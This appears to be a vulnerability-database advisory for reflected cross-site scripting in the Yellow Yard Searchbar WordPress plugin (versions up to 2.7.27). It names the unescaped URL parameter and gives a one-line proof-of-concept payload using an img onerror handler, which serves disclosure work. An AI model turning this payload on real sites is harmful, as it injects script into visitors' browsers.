Lucene search

K
wpexploitVictor PasmanWPEX-ID:C9A106E1-29AE-47AD-907B-01086AF3D3FB
HistoryJul 01, 2022 - 12:00 a.m.

Yellow Yard Searchbar <= 2.7.27 - Reflected Cross-Site Scripting

2022-07-0100:00:00
Victor Pasman
81

0.001 Low

EPSS

Percentile

35.4%

The plugin does not escape some URL parameters before outputting them back to the user, leading to Reflected Cross-Site Scripting

/?search_job="><img+src%3Dx+onerror%3Djavascript%3Aalert%28%60HoiWPScan%60%29>

0.001 Low

EPSS

Percentile

35.4%

Related for WPEX-ID:C9A106E1-29AE-47AD-907B-01086AF3D3FB